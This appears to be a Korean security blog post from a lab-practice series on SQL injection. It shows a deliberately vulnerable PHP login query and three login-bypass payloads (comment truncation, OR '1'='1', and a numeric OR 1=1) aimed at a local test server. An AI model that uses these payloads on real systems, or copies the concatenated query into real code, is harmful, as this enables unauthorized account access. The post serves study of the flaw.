Journey to Security/웹 보안

[SQLi] 취약한 웹앱 공격 실습 (1) 로그인 우회

보눔비스타 2026. 5. 16. 13:00

실습 목표 : 

취약한 로그인 폼에 SQL 페이로드를 삽입해 비밀번호 없이 임의 계정으로 로그인한다.

1. 취약한 코드

login_vuln.php 의 핵심 부분이다.

$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

 

로그인 페이지에서 사용자가 입력하는 값이 쿼리 문자열에 그대로 붙어버린다. 여기서 공격이 시작된다.

 

2. 공격 원리

 

3. 페이로드 3종 실습

브라우저에서 http://192.168.100.25:8080/vuln/login_vuln.php 로 접속하고 아래 페이로드를 순서대로 입력해보자.

‼️MySQL에서 -- 주석은 뒤에 공백이 필요하고, # 주석은 뒤에 공백이 필요 없다.

페이로드1️⃣ — 특정 계정 우회

username: admin'--(뒤에 공백 한 칸)
password: (아무 값)
 
 

실행되는 쿼리:

SELECT * FROM users WHERE username = 'admin'-- AND password = '...'

 

-- 뒤가 전부 주석 처리되어 password 조건이 사라진다.

admin 계정이 존재하면 비밀번호 없이 로그인된다.

 

로그인 결과:

 

페이로드2️⃣ — 계정을 모르는 상태에서 우회 (OR 1=1)

username: ' OR '1'='1'--(뒤에 공백 한 칸)
password: (아무 값)

 

username 컬럼이 문자열(VARCHAR)이기 때문에 쿼리 안에서 ' ' 따옴표로 값을 감싸야 한다.

그래서 페이로드 안에 따옴표를 직접 넣어서 문자열 구조를 깨뜨리는 방식이다.

 

실행되는 쿼리:

SELECT * FROM users WHERE username = '' OR '1'='1'-- AND password = '...'
 
'1'='1' 은 항상 참이므로 WHERE 조건 전체가 참이 된다.
테이블의 첫 번째 행(보통 admin)이 반환된다.

 

로그인 결과:

 

페이로드3️⃣ — 숫자형 컬럼 공격 (따옴표 없이)

username: 1 OR 1=1--(뒤에 공백 한 칸)
password: (아무 값)
 
컬럼이 INT 같은 정수형일 때는 PHP 코드가 애초에 따옴표 없이 쿼리를 만든다.
 

실행되는 쿼리:

SELECT * FROM users WHERE username = 1 OR 1=1-- AND password = '...'

 

문자열이 아닌 숫자형 비교에서는 따옴표 없이도 공격이 성립한다.

// 숫자형 컬럼을 조회하는 취약한 코드
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
//                                      ↑ 따옴표 없음

 

따옴표가 없으니 페이로드에도 따옴표가 필요 없다. 그냥 숫자 뒤에 OR 1=1을 붙이면 바로 SQL로 해석된다.

 

로그인 결과:

 

username 컬럼이 문자열 타입이기 때문에 숫자형 쿼리를 입력했을 때 공격이 실패한다.

 

💡 VARCHAR vs INT

대상 코드 WHERE username = '$input' WHERE id = $input
컬럼 타입 VARCHAR (문자열) INT (숫자)
따옴표 필요 있음 없음
대표 공격 대상 로그인 폼, 검색창 게시글 번호, 상품 ID
URL이 ?id=1 처럼 숫자를 받는 구조

 

 

4. 정리

핵심: 입력값이 SQL 구조를 바꿀 수 있다.
  • -- 또는 # 으로 이후 조건을 무력화
  • OR 1=1 로 WHERE 조건 전체를 참으로 만들기
MySQL 주석: --[공백] 또는 # (공백 불필요)